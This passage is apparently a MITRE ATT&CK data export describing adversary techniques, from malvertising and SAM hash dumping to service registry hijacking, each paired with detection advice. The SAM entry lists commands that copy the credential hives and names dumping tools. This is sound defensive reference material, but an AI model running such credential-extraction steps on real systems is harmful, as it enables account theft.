] | Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"IaaS"
] | 1.2 |
attack-pattern | attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2024-03-28T03:29:35.616000Z" | "2024-04-19T12:24:40.659000Z" | Network Devices | Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting.
Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices.
Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)
Compromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1584.008",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1584/008"
},
{
"description": "Greenberg, A. (2022, November 10). Russia’s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.",
"external_id": null,
"source_name": "Wired Russia Cyberwar",
"url": "https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/"
},
{
"description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.",
"external_id": null,
"source_name": "Mandiant Fortinet Zero Day",
"url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
},
{
"description": "Office of Public Affairs. (2024, February 15). Justice Department Conducts Court-Authorized Disruption of Botnet Controlled by the Russian Federation’s Main Intelligence Directorate of the General Staff (GRU). Retrieved March 28, 2024.",
"external_id": null,
"source_name": "Justice GRU 2024",
"url": "https://www.justice.gov/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
|
attack-pattern | attack-pattern--155207c0-7f53-4f13-a06b-0a9907ef5096 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-02-21T20:46:57.170000Z" | "2023-04-17T15:32:39.470000Z" | Malvertising | Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites.
Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising)
Malvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.(Citation: BBC-malvertising)
Adversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1583.008",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1583/008"
},
{
"description": "BBC. (2011, March 29). Spotify ads hit by malware attack. Retrieved February 21, 2023.",
"external_id": null,
"source_name": "BBC-malvertising",
"url": "https://www.bbc.com/news/technology-12891182"
},
{
"description": "FBI. (2022, December 21). Cyber Criminals Impersonating Brands Using Search Engine Advertisement Services to Defraud Users. Retrieved February 21, 2023.",
"external_id": null,
"source_name": "FBI-search",
"url": "https://www.ic3.gov/Media/Y2022/PSA221221"
},
{
"description": "Hegel, Tom. (2023, January 19). Breaking Down the SEO Poisoning Attack | How Attackers Are Hijacking Search Results. Retrieved February 21, 2023.",
"external_id": null,
"source_name": "sentinelone-malvertising",
"url": "https://www.sentinelone.com/blog/breaking-down-the-seo-poisoning-attack-how-attackers-are-hijacking-search-results/"
},
{
"description": "Miller, Sarah. (2023, February 2). A surge of malvertising across Google Ads is distributing dangerous malware. Retrieved February 21, 2023.",
"external_id": null,
"source_name": "spamhaus-malvertising",
"url": "https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/"
},
{
"description": "Tal, Nati. (2022, December 28). “MasquerAds” — Google’s Ad-Words Massively Abused by Threat Actors, Targeting Organizations, GPUs and Crypto Wallets. Retrieved February 21, 2023.",
"external_id": null,
"source_name": "Masquerads-Guardio",
"url": "https://labs.guard.io/masquerads-googles-ad-words-massively-abused-by-threat-actors-targeting-organizations-gpus-42ae73ee8a1e"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
|
attack-pattern | attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:55.471000Z" | "2023-04-15T17:26:53.365000Z" | Permission Groups Discovery | Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.
Adversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1069",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1069"
},
{
"description": "Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.",
"external_id": null,
"source_name": "K8s Authorization Overview",
"url": "https://kubernetes.io/docs/reference/access-authn-authz/authorization/"
},
{
"description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020.",
"external_id": null,
"source_name": "CrowdStrike BloodHound April 2018",
"url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as <code>kubectl auth can-i</code>.(Citation: K8s Authorization Overview) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace",
"Containers"
] | 2.5 |
attack-pattern | attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:31:25.454000Z" | "2023-09-29T21:06:03.098000Z" | Email Collection | Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1114",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1114"
},
{
"description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
"external_id": null,
"source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
"url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.
File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.
Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.
Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include <code>X-MS-Exchange-Organization-AutoForwarded</code> set to true, <code>X-MailFwdBy</code> and <code>X-Forwarded-To</code>. The <code>forwardingSMTPAddress</code> parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the <code>X-MS-Exchange-Organization-AutoForwarded</code> header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Office 365",
"Google Workspace",
"macOS",
"Linux"
] | 2.5 |
attack-pattern | attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T18:42:07.281000Z" | "2023-07-24T18:53:10.860000Z" | Security Account Manager | Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command. Enumerating the SAM database requires SYSTEM level access.
A number of tools can be used to retrieve the SAM file through in-memory techniques:
* pwdumpx.exe
* [gsecdump](https://attack.mitre.org/software/S0008)
* [Mimikatz](https://attack.mitre.org/software/S0002)
* secretsdump.py
Alternatively, the SAM can be extracted from the Registry with Reg:
* <code>reg save HKLM\sam sam</code>
* <code>reg save HKLM\system system</code>
Creddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)
Notes:
* RID 500 account is the local, built-in administrator.
* RID 501 is the guest account.
* User accounts start with a RID of 1,000+.
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1003.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003/002"
},
{
"description": "Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.",
"external_id": null,
"source_name": "GitHub Creddump7",
"url": "https://github.com/Neohapsis/creddump7"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Hash dumpers open the Security Accounts Manager (SAM) on the local file system (<code>%SystemRoot%/system32/config/SAM</code>) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T16:56:49.744000Z" | "2021-04-15T03:50:44.113000Z" | WHOIS | Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)
Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1596.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1596/002"
},
{
"description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "WHOIS",
"url": "https://www.whois.net/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-12-19T19:43:34.507000Z" | "2024-04-16T12:21:51.311000Z" | System Firmware | Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI)
System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1542.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1542/001"
},
{
"description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.",
"external_id": null,
"source_name": "McAfee CHIPSEC Blog",
"url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/"
},
{
"description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.",
"external_id": null,
"source_name": "MITRE Copernicus",
"url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about"
},
{
"description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.",
"external_id": null,
"source_name": "Intel HackingTeam UEFI Rootkit",
"url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"
},
{
"description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.",
"external_id": null,
"source_name": "Github CHIPSEC",
"url": "https://github.com/chipsec/chipsec"
},
{
"description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
"external_id": null,
"source_name": "About UEFI",
"url": "http://www.uefi.org/about"
},
{
"description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
"external_id": null,
"source_name": "MITRE Trustworthy Firmware Measurement",
"url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"
},
{
"description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
"external_id": null,
"source_name": "Wikipedia UEFI",
"url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface"
},
{
"description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.",
"external_id": null,
"source_name": "Wikipedia BIOS",
"url": "https://en.wikipedia.org/wiki/BIOS"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.
Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Network"
] | 1.1 |
attack-pattern | attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T16:51:50.306000Z" | "2021-04-15T03:53:33.023000Z" | Search Victim-Owned Websites | Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)
Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1594",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1594"
},
{
"description": "Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Comparitech Leak",
"url": "https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-21T21:15:33.222000Z" | "2023-03-21T13:33:40.625000Z" | Cloud Groups | Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
With authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).
Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)
Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1069.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1069/003"
},
{
"description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
"external_id": null,
"source_name": "AWS Get Bucket ACL",
"url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html"
},
{
"description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
"external_id": null,
"source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
"url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
},
{
"description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
"external_id": null,
"source_name": "Black Hills Red Teaming MS AD Azure, 2018",
"url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
},
{
"description": "Google. (n.d.). Retrieved March 16, 2021.",
"external_id": null,
"source_name": "Google Cloud Identity API Documentation",
"url": "https://cloud.google.com/identity/docs/reference/rest"
},
{
"description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
"external_id": null,
"source_name": "Microsoft AZ CLI",
"url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
},
{
"description": "Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.",
"external_id": null,
"source_name": "Microsoft Msolrole",
"url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0"
},
{
"description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
"external_id": null,
"source_name": "GitHub Raindance",
"url": "https://github.com/True-Demon/raindance"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Google Workspace"
] | 1.4 |
attack-pattern | attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-13T11:42:14.444000Z" | "2023-03-30T21:01:38.651000Z" | Services Registry Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)
If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)
The <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)
Adversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll</code>.(Citation: malware_hides_service) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1574.011",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/011"
},
{
"description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.",
"external_id": null,
"source_name": "Tweet Registry Perms Weakness",
"url": "https://twitter.com/r0wdy_/status/936365549553991680"
},
{
"description": "Clément Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.",
"external_id": null,
"source_name": "insecure_reg_perms",
"url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/"
},
{
"description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.",
"external_id": null,
"source_name": "Kansa Service related collectors",
"url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html"
},
{
"description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.",
"external_id": null,
"source_name": "malware_hides_service",
"url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/"
},
{
"description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.",
"external_id": null,
"source_name": "Autoruns for Windows",
"url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns"
},
{
"description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
"external_id": null,
"source_name": "Registry Key Security",
"url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN"
},
{
"description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.",
"external_id": null,
"source_name": "microsoft_services_registry_tree",
"url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"
},
{
"description": "Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.",
"external_id": null,
"source_name": "troj_zegost",
"url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
